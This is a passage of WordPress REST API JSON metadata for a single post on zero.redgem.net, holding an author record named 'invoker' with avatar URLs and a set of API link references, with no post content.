redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55365","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=55365"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/55365\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=55365"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=55365"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=55365"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}